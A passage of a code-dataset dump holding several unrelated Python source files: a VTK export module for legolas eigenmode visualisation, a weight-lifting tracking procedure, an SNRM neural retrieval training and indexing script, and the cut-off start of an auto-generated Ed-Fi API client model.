coordinate transformations should be\n        implemented in subclassed if necessary.\n\n        Returns\n        -------\n        u1_data : ndarray\n            The 3D :math:`u_1` coordinate data.\n        u2_data : ndarray\n            The 3D :math:`u_2` coordinate data.\n        u3_data : ndarray\n            The 3D :math:`u_3` coordinate data.\n        \"\"\"\n        raise NotImplementedError()\n\n    def broadcast_to_3d(self, array: np.ndarray) -> np.ndarray:\n        \"\"\"\n        Broadcasts a 1D array to a 3D array with the same shape as the coordinate data.\n\n        Parameters\n        ----------\n        array : np.ndarray\n            The 1D array to broadcast.\n\n        Returns\n        -------\n        np.ndarray\n            The broadcasted array.\n        \"\"\"\n        return np.broadcast_to(array, shape=reversed(self.dims)).transpose()\n\n    def get_solution(self, name: str, time: float) -> np.ndarray:\n        \"\"\"\n        Returns the eigenmode solution for a given time.\n\n        Parameters\n        ----------\n        name : str\n            The name of the eigenfunction.\n        time : float\n            The time at which to get the solution.\n\n        Returns\n        -------\n        np.ndarray\n            The eigenmode solution.\n        \"\"\"\n        name = validate_ef_name(self.data.ds, name)\n        solution = 0\n        for all_efs in self.data._all_efs:\n            solution += self.data.get_mode_solution(\n                ef=self.broadcast_to_3d(all_efs.get(name)),\n                omega=all_efs.get(\"eigenvalue\"),\n                u2=self.u2_data,\n                u3=self.u3_data,\n                t=time,\n            )\n        return solution\n\n    def _log_info(self, msg: str) -> None:\n        \"\"\"\n        Logs an info message only if the progress bar is inactive.\n        \"\"\"\n        if self._pbar is not None:\n            return\n        pylboLogger.info(msg)\n\n    def _validate_and_set_dtype(self, dtype: str) -> None:\n        \"\"\"\n        Validates and sets the VTK data type.\n\n        Parameters\n        ----------\n        dtype : str\n            The VTK data type. Valid values are \"float32\" and \"float64\".\n\n        Raises\n        ------\n        ValueError\n            If the VTK data type is not valid.\n        \"\"\"\n        if dtype == \"float32\":\n            self._vtk_dtype = \"float\"\n            self._vtk_fmt = f\"{self._vtk_byte_order}f\"\n        elif dtype == \"float64\":\n            self._vtk_dtype = \"double\"\n            self._vtk_fmt = f\"{self._vtk_byte_order}d\"\n        else:\n            raise ValueError(f\"dtype {dtype} not supported.\")\n\n    def _write_vtk_header(self, vtkfile):\n        \"\"\"\n        Writes the VTK file header. This includes the VTK file version, the\n        data type, the grid dimensions and the number of points.\n\n        Parameters\n        ----------\n        vtkfile : str\n            The name of the VTK file to write to.\n        \"\"\"\n        self._log_info(\"writing VTK file header...\")\n        with open(vtkfile, \"w\") as ostream:\n            vtktitle = vtkfile.stem if len(vtkfile.stem) < 256 else \"vtk output\"\n            ostream.write(\"# vtk DataFile Version 3.0 \\n\")\n            ostream.write(f\"{vtktitle} \\n\")\n            ostream.write(\"BINARY \\n\")\n            ostream.write(\"DATASET STRUCTURED_GRID \\n\")\n            ostream.write(f\"DIMENSIONS {self.dims[0]} {self.dims[1]} {self.dims[2]} \\n\")\n            ostream.write(f\"POINTS {np.prod(self.dims)} {self._vtk_dtype} \\n\")\n\n    def _write_vtk_coordinate_data(self, vtkfile):\n        \"\"\"\n        Writes the VTK grid coordinates.\n\n        Parameters\n        ----------\n        vtkfile : str\n            The name of the VTK file to write to.\n        \"\"\"\n        self._log_info(\"writing VTK coordinate data...\")\n        u1_data, u2_data, u3_data = self.get_coordinate_data()\n        with open(vtkfile, \"ab\") as ostream:\n            for k in range(self.dims[2]):\n                for j in range(self.dims[1]):\n                    for i in range(self.dims[0]):\n                        ostream.write(struct.pack(self._vtk_fmt, u1_data[i, j, k]))\n                        ostream.write(struct.pack(self._vtk_fmt, u2_data[i, j, k]))\n                        ostream.write(struct.pack(self._vtk_fmt, u3_data[i, j, k]))\n\n    def _write_vtk_point_data_start(self, vtkfile):\n        \"\"\"\n        Writes the VTK point data start marker, i.e. the 'POINT_DATA' statement and\n        the number of points.\n\n        Parameters\n        ----------\n        vtkfile : str\n            The name of the VTK file to write to.\n        \"\"\"\n        with open(vtkfile, \"a\") as ostream:\n            ostream.write(f\"\\nPOINT_DATA {np.prod(self.dims)} \\n\")\n\n    def _write_vtk_scalar_field(self, vtkfile, fieldname, fielddata):\n        \"\"\"\n        Writes a 3D VTK scalar field with a given fieldname. If `fielddata` is\n        smaller than `1e-12` everywhere the field is not written to the VTK file.\n\n        Parameters\n        ----------\n        vtkfile : str\n            The name of the VTK file to write to.\n        fieldname : str\n            The name of the field.\n        fielddata : ndarray\n            The field data.\n        \"\"\"\n        if np.all(np.isclose(fielddata, 0, atol=1e-12)):\n            pylboLogger.warning(\n                f\"field {fieldname} is zero everywhere and thus not written to VTK.\"\n            )\n            return\n        # note: spaces are NOT supported in fieldnames (parentheses should be fine)\n        # see https://gitlab.kitware.com/paraview/paraview/-/issues/19769\n        fieldname = fieldname.replace(\" \", \"_\")\n        with open(vtkfile, \"a\") as ostream:\n            ostream.write(f\"SCALARS {fieldname} {self._vtk_dtype} \\n\")\n            ostream.write(\"LOOKUP_TABLE default \\n\")\n        with open(vtkfile, \"ab\") as ostream:\n            for k in range(self.dims[2]):\n                for j in range(self.dims[1]):\n                    for i in range(self.dims[0]):\n                        ostream.write(struct.pack(self._vtk_fmt, fielddata[i, j, k]))\n\n    def _write_vtk_auxiliary_coordinates(self, vtkfile):\n        \"\"\"\n        Writes auxiliary coordinate data to the VTK file, for example the theta values\n        in cylindrical geometry. These are needed for appropriate transformations\n        to draw vector fields in e.g. ParaView.\n\n        Parameters\n        ----------\n        vtkfile : str\n            The name of the VTK file to write to.\n        \"\"\"\n        pass\n\n    def export_to_vtk(\n        self,\n        filename: str,\n        time: Union[float, np.ndarray],\n        names: Union[str, list[str]] = None,\n        bg_names: Union[str, list[str]] = None,\n        dtype: str = \"float32\",\n        starting_index: int = 0,\n    ) -> None:\n        \"\"\"\n        Exports the mode solution to a VTK file.\n\n        Parameters\n        ----------\n        filename : str\n            The name of the VTK file to write to.\n        time : Union[float, np.ndarray]\n            The time(s) at which to export the mode solution.\n        names : Union[str, list[str]], optional\n            The name(s) of the mode(s) to export.\n        bg_names : Union[str, list[str]], optional\n            The name(s) of the equilibrium background(s) to export.\n        dtype : str, optional\n            The VTK data type, defaults to \"float32\" (32 bit floating point).\n            Can be set to \"float64\" (64 bit floating point) but uses more memory.\n        starting_index : int, optional\n            The starting index for filenames, defaults to 0.\n        \"\"\"\n        time = transform_to_numpy(time)\n        names = [] if names is None else transform_to_list(names)\n        bg_names = [] if bg_names is None else transform_to_list(bg_names)\n        self._validate_and_set_dtype(dtype)\n        filename = Path(filename).with_suffix(\"\")  # remove extension\n        self._log_info(\"exporting eigenmode(s) to VTK file...\")\n        if len(time) > 1:\n            self._pbar = tqdm(total=len(time), desc=\"writing VTK files\", unit=\"file\")\n            self.data._print_bg_info = False\n        for it, t in enumerate(time, start=starting_index):\n            vtkfile = Path(f\"{filename}_t{it:04d}.vtk\")\n            self._write_vtk_header(vtkfile)\n            self._write_vtk_coordinate_data(vtkfile)\n            self._write_vtk_point_data_start(vtkfile)\n            self._log_info(\"writing VTK scalar field data...\")\n            for name in names:\n                solution = self.get_solution(name, t)\n                self._write_vtk_scalar_field(vtkfile, name, solution)\n            for bg_name in bg_names:\n                bg = self.data.get_background(shape=self.dims, name=bg_name)\n                self._write_vtk_scalar_field(vtkfile, bg_name, bg)\n            self._write_vtk_auxiliary_coordinates(vtkfile)\n            if self._pbar is not None:\n                self._pbar.update()\n            self._log_info(f\"done. File exported to {vtkfile.resolve()}\")\n\n\nclass VTKCartesianData(VTKDataExporter):\n    def __init__(\n        self,\n        data: ModeVisualisationData,\n        u2: np.ndarray,\n        u3: np.ndarray,\n    ) -> None:\n        super().__init__(data=data, u1=data.ds.ef_grid, u2=u2, u3=u3)\n\n    def get_coordinate_data(self) -> tuple[np.ndarray, np.ndarray, np.ndarray]:\n        return self.u1_data, self.u2_data, self.u3_data\n\n\nclass VTKCylindricalData(VTKDataExporter):\n    def __init__(\n        self,\n        data: ModeVisualisationData,\n        u2: np.ndarray,\n        u3: np.ndarray,\n    ) -> None:\n        super().__init__(data=data, u1=data.ds.ef_grid, u2=u2, u3=u3)\n\n    def get_coordinate_data(self) -> tuple[np.ndarray, np.ndarray, np.ndarray]:\n        return (\n            self.u1_data * np.cos(self.u2_data),\n            self.u1_data * np.sin(self.u2_data),\n            self.u3_data,\n        )\n\n    def _write_vtk_auxiliary_coordinates(self, vtkfile):\n        self._write_vtk_scalar_field(vtkfile, \"thetas\", self.u2_data)\n", "repo_name": "n-claes/legolas", "sub_path": "post_processing/pylbo/visualisation/modes/vtk_export.py", "file_name": "vtk_export.py", "file_ext": "py", "file_size_in_byte": 12635, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pylbo.visualisation.modes.mode_data.ModeVisualisationData", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.meshgrid", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.broadcast_to", "line_number": 126, "usage_type": "call"}, {"api_name": "pylbo.visualisation.utils.validate_ef_name", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pylbo.utilities.logger.pylboLogger.info", "line_number": 162, "usage_type": "call"}, {"api_name": "pylbo.utilities.logger.pylboLogger", "line_number": 162, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 205, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 222, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 223, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 253, "usage_type": "call"}, {"api_name": "pylbo.utilities.logger.pylboLogger.warning", "line_number": 254, "usage_type": "call"}, {"api_name": "pylbo.utilities.logger.pylboLogger", "line_number": 254, "usage_type": "name"}, {"api_name": "struct.pack", "line_number": 268, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 286, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 286, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 288, "usage_type": "name"}, {"api_name": "pylbo.utilities.toolbox.transform_to_numpy", "line_number": 311, "usage_type": "call"}, {"api_name": "pylbo.utilities.toolbox.transform_to_list", "line_number": 312, "usage_type": "call"}, {"api_name": "pylbo.utilities.toolbox.transform_to_list", "line_number": 313, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 315, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 318, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 321, "usage_type": "call"}, {"api_name": "pylbo.visualisation.modes.mode_data.ModeVisualisationData", "line_number": 341, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 342, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 343, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 347, "usage_type": "attribute"}, {"api_name": "pylbo.visualisation.modes.mode_data.ModeVisualisationData", "line_number": 354, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 355, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 356, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 360, "usage_type": "attribute"}]}
{"seq_id": "38794286320", "text": "# ----------------------------------------------------------------------------------------------------------------------\n#    Lifting\n# ----------------------------------------------------------------------------------------------------------------------\n\n# imports\nimport logging\nfrom src.Util.constants import Constants\nfrom src.Util import constants as const\nfrom src.Procedures.procedure import Procedure\n\n\nclass WeightLiftingProcedure(Procedure):\n    \"\"\"\n    Class for handling weight lifting procedures and functions.\n    \"\"\"\n    def __init__(self, output_dir=None):\n        \"\"\"\n        Setup for weight lifting procedure.\n\n        :param output_dir: Optional output directory if not the default.\n        \"\"\"\n        super(WeightLiftingProcedure, self).__init__(table='weight_lifting',\n                                                     output_dir=output_dir,\n                                                     query=Constants.weight_lifting_compound_query,\n                                                     logger=logging.getLogger(__name__),\n                                                     names=None)\n        self.logger.info(\"Weight lifting tracking and calculations.\")\n\n    def get_new_data(self, connection):\n        \"\"\"\n        Adds a new entry into the weight lifting table within the health_database database.\n\n        :param connection: Connection to the database.\n        \"\"\"\n        self.logger.info('Getting input for new weight lifting entry.')\n        names = self.get_workout_item_names(\n            group=self.determine_muscle_group('Which muscle groups did you work today?'))\n        # check if names is empty\n        values = []\n        if names:\n            while True:\n                use_default = input(\"Would you like to use default values based on current max?\\n\"\n                                    \"y: yes\\n\"\n                                    \"n: no\\n\")\n                if use_default == 'y':\n                    self.append_new_entry(connection=connection,\n                                          values=self.get_default_lift_values(names=names),\n                                          column_names=names)\n                    values = self.get_default_lift_values(names=names)\n                    break\n                elif use_default == 'n':\n                    return NotImplementedError\n                print('Please enter a valid option')\n        return values, names\n\n    def get_new_data_from_file(self, connection):\n        \"\"\"\n        Appends multiple entries to the database with values read from a file\n\n        :param connection: Connection to the database.\n        :return: All values added to the database\n        \"\"\"\n        return NotImplementedError\n\n    def get_max_lift_updates(self):\n        \"\"\"\n        Updates the user selected max lift values by getting input from the user.\n        \"\"\"\n        names = self.determine_muscle_group(question_text='Which max values would you like to update?')\n        max_lift_names = list()\n        if 'bench_press' in names:\n            max_lift_names.append('bench_press_max')\n        if 'squat' in names:\n            max_lift_names.append('squat_max')\n        if 'shoulder_press' in names:\n            max_lift_names.append('shoulder_press_max')\n        if 'deadlift' in names:\n            max_lift_names.append('deadlift_max')\n        max_lift_values = []\n        for row in max_lift_names:\n            while True:\n                max_text = input((\"New \" + row + \"value:\\n\").replace(\"_\", \" \"))\n                try:\n                    max_update = int(max_text)\n                    max_lift_values.append(max_update)\n                    break\n                except ValueError:\n                    print('Invalid literal, please enter a number.')\n        return max_lift_values, max_lift_names\n\n    @staticmethod\n    def get_default_lift_values(names):\n        \"\"\"\n        Get the current program lifting values for the day. This is to speed up input if the user is following\n        a program.\n\n        :param names:\n        :return: The default values\n        \"\"\"\n        values = []\n        for i in range(len(names)):\n            values.append(i)\n        return values\n\n    @staticmethod\n    def get_workout_item_names(group):\n        \"\"\"\n        Gets the column names for the specified workout group.\n\n        :param List group: The user chosen compound lifts.\n        :return: A list of Strings containing the column names to update.\n        \"\"\"\n        names = [a[0] for a in const.generate_sets_item_query(names=group,\n                                                              sets=6)]\n        return names\n\n    @staticmethod\n    def determine_muscle_group(question_text=''):\n        \"\"\"\n        Gets a binary input from the user to select the chosen compound lifts to update.\n\n        :param str question_text: Question for the user to determine which procedure is asking about compounds.\n        :return: A list of Strings containing the chosen compound lifts.\n        \"\"\"\n        muscle_groups = list()\n        while True:\n            groups = input(question_text + \" (Binary Entry)\\n\"\n                           \"8: Bench\\n\"\n                           \"4: Squat\\n\"\n                           \"2: Shoulder Press\\n\"\n                           \"1: Deadlift\\n\"\n                           \"q: Quit\\n\")\n            if groups != 'q':\n                try:\n                    result = int(groups)\n                    if result > 0:\n                        break\n                    else:\n                        print('Please enter a positive integer value.')\n                except ValueError:\n                    print('Invalid literal, please enter a number.')\n            else:\n                result = 0\n                break\n        if (result & Vars.Bench) == 8:\n            muscle_groups.append(\"bench_press\")\n        if (result & Vars.Squat) == 4:\n            muscle_groups.append(\"squat\")\n        if (result & Vars.Shoulder_Press) == 2:\n            muscle_groups.append(\"shoulder_press\")\n        if (result & Vars.Deadlift) == 1:\n            muscle_groups.append(\"deadlift\")\n        return muscle_groups\n\n    @staticmethod\n    def determine_accessories():\n        \"\"\"\n        Similar to determine_muscle_group(), this gets the user chosen accessory values.\n\n        :return: todo\n        \"\"\"\n        while True:\n            accessories = input(\"Would you life to use default accessories?\\n\"\n                                \"y: yes\\n\"\n                                \"n: no\\n\")\n            if accessories == 'y':\n                break\n            elif accessories == 'n':\n                break\n\n    def view_data(self, connection, column_names=None):\n        return NotImplementedError\n\n\nclass Vars(object):\n    \"\"\"\n    Class to store the enum values for compound lifts.\n    \"\"\"\n\n    Bench = 8\n    Squat = 4\n    Shoulder_Press = 2\n    Deadlift = 1\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n#    End\n# ----------------------------------------------------------------------------------------------------------------------\n", "repo_name": "JI511/Personal_Fitness", "sub_path": "src/Procedures/weight_lifting.py", "file_name": "weight_lifting.py", "file_ext": "py", "file_size_in_byte": 7131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "src.Procedures.procedure.Procedure", "line_number": 12, "usage_type": "name"}, {"api_name": "src.Util.constants.Constants.weight_lifting_compound_query", "line_number": 24, "usage_type": "attribute"}, {"api_name": "src.Util.constants.Constants", "line_number": 24, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "src.Util.constants.generate_sets_item_query", "line_number": 113, "usage_type": "call"}, {"api_name": "src.Util.constants", "line_number": 113, "usage_type": "name"}]}
{"seq_id": "30328544286", "text": "\"\"\"\nTraining the SNRM model with PyTorch\n\ncoded by Jaekeol Choi ( jkchoi.naver@navercorp.com)\nAuthors: Hamed Zamani (zamani@cs.umass.edu)\n\n\"\"\"\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.optim import lr_scheduler\nfrom torch import optim\nimport argparse\n\nfrom dictionary import Dictionary\nfrom Triplet import Triplet\n#from psnrm import SNRM\nfrom path_snrm import SNRM\nimport sys\nfrom inverted_index import InMemoryInvertedIndex\n\ndef train():\n    #1. read dictionary\n    dictionary = Dictionary()\n    dictionary.load_from_galago_dump(args.dict_file, args.dict_min_freq)\n\n    #2. make snrm instance\n    device = torch.device('cpu')\n    snrm = SNRM(args).to(device)\n\n    #3. read train data\n    train_data = Triplet('train', args, dictionary)\n    valid_data = Triplet('valid', args, dictionary, train_data.embeddings)\n    \n    #4. train\n    db_loader = DataLoader(dataset=train_data, batch_size=args.batch_size, shuffle=True, num_workers=0)\n    vdb_loader = DataLoader(dataset=valid_data, batch_size=args.batch_size, shuffle=True, num_workers=0)\n\n    for epoch in range(args.epoch):\n        for i, (query, doc1, doc2, label)  in enumerate(db_loader):\n            query, doc1, doc2, label = query.to(device), doc1.to(device), doc2.to(device), label.to(device)\n            assert(query.shape[1] == args.emb_dim)\n\n            accs, loss = snrm.model_train(query, doc1, doc2, label)\n            if(i % 1 == 0):\n                print('epoch : ', epoch, ' step:', i, '\\ttraing cost:', accs.item(), '\\r', file=sys.stdout, end='')  \n\n            if(i % 100 == 99):\n                ## evaluation()                                 ## evaluation per 100-batch  \n                torch.save(snrm.state_dict(), args.model_file)  ## save model per 100-batch\n                for j, (query, doc1, doc2, label)  in enumerate(vdb_loader):\n                    query, doc1, doc2, label = query.to(device), doc1.to(device), doc2.to(device), label.to(device)\n                    accs, loss = snrm.model_valid(query, doc1, doc2, label)\n                    print('Valid step step:', j, '\\tloss value :', loss.item(), '\\r', file=sys.stdout, end='')  \n\n        torch.save(snrm.state_dict(), args.model_file)  ## save model per epoch\n\n    print('>trainin end. final cost = ', accs.item(), file=sys.stderr)  \n \n    #5. save model\n    torch.save(snrm.state_dict(), args.model_file)\n    print('>save model : ', args.model_file, file=sys.stderr)  \n\ndef build_index():\n    print('build index..', file=sys.stderr)\n    #1. read dictionary\n    dictionary = Dictionary()\n    dictionary.load_from_galago_dump(args.dict_file, args.dict_min_freq)\n\n    #2. make snrm instance & load weight\n    device = torch.device('cpu')\n    snrm = SNRM(args).to(device)\n    snrm.load_state_dict(torch.load(args.model_file))  ## load model\n    snrm.eval()      ## set inference mode\n\n    #3. read train data\n    doc_data = Triplet('doc', args, dictionary)\n    \n    #4. make index \n    db_loader = DataLoader(dataset=doc_data, batch_size=1, shuffle=False, num_workers=0)\n   \n    inverted_index = InMemoryInvertedIndex(args.conv3_channel)  ## last channel is output representation\n    with torch.no_grad():\n        for i, (doc_id, doc)  in enumerate(db_loader):\n            doc_repr = snrm(doc.float())\n            inverted_index.add(doc_id.numpy(), doc_repr.numpy())\n            if(i % 10 == 0):\n                print(i, ' document inferenced \\r', file=sys.stderr, end='')  \n\n    inverted_index.store(args.index_file)\n    print('>save index: ', args.index_file, file=sys.stderr)  \n\ndef retrieve():\n    import pickle as pkl\n    print('retrieve...', file=sys.stderr)\n    #1. read dictionary\n    dictionary = Dictionary()\n    dictionary.load_from_galago_dump(args.dict_file, args.dict_min_freq)\n\n    #2. make snrm instance & load weight\n    device = torch.device('cpu')\n    snrm = SNRM(args).to(device)\n    snrm.load_state_dict(torch.load(args.model_file))  ## load model\n    snrm.eval()      ## set inference mode\n\n    #3. read train data\n    q_data = Triplet('query', args, dictionary)\n \n    #4. read index \n    inverted_index = InMemoryInvertedIndex(args.conv3_channel)\n    inverted_index.load(args.index_file)\n\n    #5. read data\n    db_loader = DataLoader(dataset=q_data, batch_size=1, shuffle=False, num_workers=0)\n\n    #6. retrieve\n    with torch.no_grad():\n        result = dict()\n        for k, (q_id, query)  in enumerate(db_loader):\n            query_repr = snrm(query.float())\n\n            query_repr = query_repr.numpy()\n            retrieval_scores = dict()\n            for i in range(len(query_repr[0])):\n                if query_repr[0][i] > 0.:\n                    doc_rank = 0\n                    for (did, weight) in inverted_index.index[i]:\n                        #print('did=', did)\n                        #print('weight=', weight)\n                        docid = did[0]\n                        if docid not in retrieval_scores:\n                            retrieval_scores[docid] = 0.\n                        retrieval_scores[docid] += query_repr[0][i] * weight\n                        doc_rank += 1\n    \n            if(k % 10 == 0):\n                print(k, ' query retrieved \\r', file=sys.stderr, end='')  \n                #break\n\n            qid = q_id[0]\n            result[qid] = sorted(retrieval_scores.items(), key=lambda x: x[1])\n            print('qid=', qid)\n            print('result=', result[qid])\n\n    pkl.dump(result, open(args.retrieve_result_file, 'wb'))\n    print('>save result: ', args.retrieve_result_file, file=sys.stderr)  \n\nif __name__ == '__main__':\n\n    argparser = argparse.ArgumentParser()\n\n    ## run mode\n    argparser.add_argument('--mode', type=str, help='run mode', default='train')\n\n    ## Hyper parameter\n    argparser.add_argument('--epoch', type=int, help='epoch number', default=1000) ## 100000\n    argparser.add_argument('--batch_size', type=int, help='batch size', default=64)  ## 512\n    argparser.add_argument('--learning_rate', type=float, help='learning rate with ADAM', default=0.0001)\n    argparser.add_argument('--dropout_parameter', type=float, help='dropout', default=0.0)\n    argparser.add_argument('--regularization_term', type=float, help='regularization', default=0.000001) ## 0.1^10-8 ( sparcity : 0.65)\n    #argparser.add_argument('--regularization_term', type=float, help='regularization', default=0.0001)\n\n    ## file name\n    argparser.add_argument('--emb_dim', type=int, help='embedding dimension', default=300)\n    argparser.add_argument('--dict_file', type=str, help='dictionary file name', default='data/dictionary.txt')\n    argparser.add_argument('--train_file', type=str, help='train file name', default='data/triples.tsv')\n    argparser.add_argument('--valid_file', type=str, help='valid file name', default='data/triples_valid.tsv')\n    argparser.add_argument('--doc_file', type=str, help='doc file name', default='data/triples.tsv_doc_100')\n    argparser.add_argument('--query_file', type=str, help='query file name', default='data/triples.tsv_q')\n    argparser.add_argument('--pre_trained_embedding_file', type=str, help='embedding file name', default='data/embedding.txt')\n    argparser.add_argument('--model_file', type=str, help='trained model file', default='model/trained.model')\n    argparser.add_argument('--index_file', type=str, help='inverted index file', default='model/inverted-index.pkl')\n    argparser.add_argument('--retrieve_result_file', type=str, help='retrieve_result_file', default='result/search_result.pkl')\n\n    ## conv channel\n    argparser.add_argument('--conv1_channel', type=int, help='channel length', default=500)\n    argparser.add_argument('--conv2_channel', type=int, help='channel length', default=300)\n    argparser.add_argument('--conv3_channel', type=int, help='channel length', default=10000)\n\n    ## query, document max len\n    argparser.add_argument('--max_q_len', type=int, help='maximum query length', default=10)\n    argparser.add_argument('--max_doc_len', type=int, help='maximum document length', default=1000)\n    argparser.add_argument('--dict_min_freq', type=int, help='minimum collection frequency of terms', default=0)\n\n    args = argparser.parse_args()\n\n    if(args.mode == \"train\"):\n        train()\n    elif(args.mode == \"build_index\"):\n        build_index()\n    elif(args.mode == \"retrieve\"):\n        retrieve()\n    \n\n", "repo_name": "maygodwithu/psnrm", "sub_path": "nr_main.py", "file_name": "nr_main.py", "file_ext": "py", "file_size_in_byte": 8316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dictionary.Dictionary", "line_number": 24, "usage_type": "call"}, {"api_name": "dictionary.load_from_galago_dump", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 28, "usage_type": "call"}, {"api_name": "path_snrm.SNRM", "line_number": 29, "usage_type": "call"}, {"api_name": "Triplet.Triplet", "line_number": 32, "usage_type": "call"}, {"api_name": "Triplet.Triplet", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 65, "usage_type": "attribute"}, {"api_name": "dictionary.Dictionary", "line_number": 67, "usage_type": "call"}, {"api_name": "dictionary.load_from_galago_dump", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 71, "usage_type": "call"}, {"api_name": "path_snrm.SNRM", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 73, "usage_type": "call"}, {"api_name": "Triplet.Triplet", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 80, "usage_type": "call"}, {"api_name": "inverted_index.InMemoryInvertedIndex", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 83, "usage_type": "call"}, {"api_name": "inverted_index.add", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 88, "usage_type": "attribute"}, {"api_name": "inverted_index.store", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 95, "usage_type": "attribute"}, {"api_name": "dictionary.Dictionary", "line_number": 97, "usage_type": "call"}, {"api_name": "dictionary.load_from_galago_dump", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 101, "usage_type": "call"}, {"api_name": "path_snrm.SNRM", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 103, "usage_type": "call"}, {"api_name": "Triplet.Triplet", "line_number": 107, "usage_type": "call"}, {"api_name": "inverted_index.InMemoryInvertedIndex", "line_number": 110, "usage_type": "call"}, {"api_name": "inverted_index.load", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 117, "usage_type": "call"}, {"api_name": "inverted_index.index", "line_number": 127, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 145, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 146, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 150, "usage_type": "call"}]}
{"seq_id": "7808101008", "text": "# coding: utf-8\n\n\"\"\"\n    Ed-Fi Operational Data Store API\n\n    The Ed-Fi ODS / API enables applications to read and write education data stored in an Ed-Fi ODS through a secure REST interface.  ***  > *Note: Consumers of ODS / API information should sanitize all data for display and storage. The ODS / API provides reasonable safeguards against cross-site scripting attacks and other malicious content, but the platform does not and cannot guarantee that the data it contains is free of all potentially harmful content.*  ***   # noqa: E501\n\n    OpenAPI spec version: 3\n    \n    Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\nfrom swagger_client.configuration import Configuration\n\n\nclass TpdmEmploymentSeparationEvent(object):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      swagger_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    swagger_types = {\n        'id': 'str',\n        'employment_separation_date': 'date',\n        'open_staff_position_reference': 'EdFiOpenStaffPositionReference',\n        'employment_separation_entered_date': 'date',\n        'employment_separation_reason_descriptor': 'str',\n        'employment_separation_type_descriptor': 'str',\n        'remaining_in_district': 'bool',\n        'etag': 'str'\n    }\n\n    attribute_map = {\n        'id': 'id',\n        'employment_separation_date': 'employmentSeparationDate',\n        'open_staff_position_reference': 'openStaffPositionReference',\n        'employment_separation_entered_date': 'employmentSeparationEnteredDate',\n        'employment_separation_reason_descriptor': 'employmentSeparationReasonDescriptor',\n        'employment_separation_type_descriptor': 'employmentSeparationTypeDescriptor',\n        